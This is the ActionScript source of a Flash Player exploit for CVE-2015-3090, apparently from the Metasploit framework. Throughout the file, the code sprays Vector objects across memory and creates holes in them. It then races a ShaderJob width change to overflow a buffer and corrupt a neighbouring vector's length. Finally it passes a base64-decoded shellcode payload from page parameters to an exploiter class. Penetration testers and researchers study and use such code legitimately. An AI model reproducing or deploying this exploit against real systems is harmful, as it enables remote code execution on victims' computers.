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Path: blob/master/external/source/exploits/CVE-2015-3090/Exploit.as
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package { import flash.display.BitmapData import flash.display.Shader import flash.display.ShaderJob import flash.display.Sprite import flash.utils.getTimer import flash.display.LoaderInfo import mx.utils.Base64Decoder import flash.utils.ByteArray public class Exploit extends Sprite { [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] private static var BilinearScaling:Class private var ov:Vector.<Object> private var uv:Vector.<uint> private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String private var os:String private var exploiter:Exploiter public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) payload = b64.toByteArray() var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000); // Create and configure a Shader object to apply the the bilinear scaling bytecode var shader:Shader = new Shader() shader.byteCode = new BilinearScaling() shader.data.scale.value = [1] shader.data.src.input = srcBmd // Put vectors in memory ov = new Vector.<Object>(1024) for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.<uint>(0xa6) ov[i][0] = 0xdeedbeef ov[i][1] = i ov[i][2] = 0xdeadbeaf } // Create holes by redimensioning some vectors for (i = ov.length / 2; i < ov.length; i = i + 6) { ov[i].length = 0x14c // 0xa6 * 2 } // Defragment memory so hopefully one of our holes will be used // by the ShaderJob later... var defrag:Vector.<Object> = new Vector.<Object>(20) for(i = 0; i < defrag.length; i++) { defrag[i] = new Vector.<uint>(0xa6) } // Apply the bilinear scaling with a ShaderJob, so the job // can be execued on a new thread, providing us the opportunity // to tweak the width attribute after starting the job, providing // a buffer overflow situation var shaderJob:ShaderJob = new ShaderJob() shaderJob.shader = shader shaderJob.target = srcBmd shaderJob.width = 0 shaderJob.start() shaderJob.width = 0xa5 // Overwrite "next" vector length this.WaitTimer(1000) for (i = 0; i < ov.length; i++) { if (ov[i].length != 0xa6 && ov[i].length != 0x14c) { Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString()) uv = ov[i] } else { delete(ov[i]) ov[i] = null } } if (uv == null) { Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found") return } exploiter = new Exploiter(this, platform, os, payload, uv) } private function WaitTimer(time:int):void{ var current:int = getTimer() while (true) { if ((getTimer() - current) >= time) break } } } }